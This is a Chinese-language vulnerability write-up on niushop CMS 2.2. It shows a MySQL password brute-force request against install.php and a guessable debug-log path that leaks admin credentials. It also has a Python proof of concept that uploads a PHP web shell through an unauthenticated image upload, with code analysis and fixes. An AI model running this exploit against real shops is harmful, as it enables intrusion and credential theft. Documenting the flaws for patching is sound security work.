niushop CMS漏洞最新版本测试全过程(前台Getshell)0x01 环境搭建 Version:单商户 2.2 测试环境:MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor 0x02 黑盒测试0x02_1 安装测试
下图为改数据包发送后的文件变化
关键步骤的数据包 每进行一步骤通过Action发送到Repeater保存一份 注意通过FileMonitor观察文件变化 正常完成后再通过Repeater重新发送数据包并观察文件变化。
通过重新发送前面的数据包发现 即便已经安装 仍可以通过该数据包验证爆破mysql密码(如果mysql密码正确 此处返回值为1 错误为0) 归咎与逻辑错误 不算漏洞(如果外网可连接mysql 何必通过此处爆破)
POC:
GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassowd&dbusername=root&dbname=niushop_b2c HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0 Accept: */* Accept-Language: en Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Cookie: action=db 验证另外几个数据包发现文件并无变化 暂定为此处无漏洞。
0x02_2 后台测试
后台登录建议讲数据包发送到Repeater进行多次发送 观察时候会有验证码等限制 测试后台是否可爆破 此处经过测试 可爆破 Python Poc: 同时注意观察文件变化
如图 发现会写出日志且目录命名简单 可猜解
http://host.com/runtime/log/201901/03.log 即为 域名 + /runtime/log/ + 年月 + / + 号数 + .log
可访问查看是否存在敏感信息泄露 如图 发现日志泄露了管理登录账号密码。
第一枚漏洞Get。
继续后台功能测试 从第一个功能开始测试 每个功能均使用一遍 持续观察文件变化!重要的数据包保存一份 重发测试。
经过使用功能时发现 此处仅不可直接上传php文件 但是可在Repeater中修改图片为php继续上传 将php文件修改为png格式后上传不通过 说明此处上传只做了前端限制和检查了文件头 此处先上传正常图片 然后修改后缀以及文件中间的内容为php代码来Getshell。
需要注意此时时需要后台权限的 可尝试修改后删除cookie测试上传能否继续完成。
通过多次修改和观察发现 删除Cookie后可继续上传 但是如过度删除图片内容 会导致php文件虽然写入成功 但是路径无法返回 根据监控到的文件变化来看 此处以文件hash命名导致无法爆破到路径 可结合前面的日志泄露查找shell地址。此处总结为可前台Getshell但是利用麻烦。 通过Photoshop生成一张尺寸最小的图片(约64个字节)后进行尝试 发现其实最要把php文件追加到图片后面就可以了
命令
Windows:type phpinfo.php >> poc.png MacOS/Linux:cat phpinfo.php >> poc.png 至此 该CMS前台Getshell完成。
其余功能测试同理。
0x03 代码分析 整理一下前面的漏洞
mysql密码爆破 根据url直接定位到install.php文件 第38到62行
if($_GET['action']){ $dbserver = $_GET['dbserver']; $dbusername = $_GET['dbusername']; $dbpassword = $_GET['dbpassword']; $dbname = $_GET['dbname']; $link = mysql_connect($dbserver, $dbusername, $dbpassword); $query = mysql_query("SHOW DATABASES LIKE '{$dbname}';"); // var_dump($query); if(mysql_fetch_assoc($query) != false){ //说明数据库已经存在 echo 1; exit(); }else{ echo 0; exit(); } } $actions = array('license', 'env', 'db', 'finish'); $action = $_COOKIE['action']; $action = in_array($action, $actions) ? $action : 'license'; $ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post'; if(file_exists(IA_ROOT . '/install.lock') && $action != 'finish') { header('location: ./index.php/shop'); exit; } 显而易见 在判断install.lock文件是否存在之前就进行数据库验证 不受install.lock的影响 属于逻辑问题 调整一下代码的位置或删除install.php即可修复。
敏感日志泄露 定位到application/admin/controller/index.php文件 第40行到68行代码如下
public function index() { $debug = config('app_debug') == true ? '开发者模式' : '部署模式'; $this->assign('debug', $debug); $main = \think\Request::instance()->domain(); $this->assign('main', $main); // 销售排行 $goods_rank = $this->getGoodsRealSalesRank(); $this->assign("goods_list", $goods_rank); $this->assign("is_index", true);
//快捷菜单选项 $config_service = new Config(); $shortcut_menu_list = $config_service->getShortcutMenu($this->instance_id, $this->uid); $this->assign('shortcut_menu_list',$shortcut_menu_list['data']);
//快捷菜单id数组 $selected_ids = []; foreach($shortcut_menu_list['data'] as $key=>$val){ $selected_ids[] = $val['module_id']; } $this->assign('selected_ids',$selected_ids);
$this->assign('is_show_shortcut_menu',1);
$this->getSystemConfig();
return view($this->style . 'Index/index'); } 如42行所示app_debug模式默认为true 为开启状态 改cms是基于thinkphp编写的 debug模式会写出调试日志。厂商和用户均可将修改为app_debug修改为false再上线 以解决此问题
前台Getshell 定位到application/admin/controller/Upload.php文件 第556行到568行代码如下
// 验证文件 if (! $this->validationFile()) { return $this->ajaxFileReturn(); } $guid = time(); $file_name_explode = explode(".", $this->file_name); // 图片名称 $suffix = count($file_name_explode) - 1; $ext = "." . $file_name_explode[$suffix]; // 获取后缀名 // 获取原文件名 $tmp_array = $file_name_explode; unset($tmp_array[$suffix]); $file_new_name = implode(".", $tmp_array); $newfile = md5($file_new_name . $guid) . $ext; 后台明没有后缀限制 上传成功后的新文件($newfile) 的后缀是从源文件中$ext取出来的 导致了后缀可控
0x04 Poc编写 import requests
session = requests.Session()
paramsGet = {"s":"/wap/upload/photoalbumupload"} paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"} paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82<? php phpinfo(); ?>", 'application/octet-stream'))] headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"} cookies = {"action":"finish"} response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code) print("Response body: %s" % response.content)
将poc种的127.0.0.1替换成目标即可
|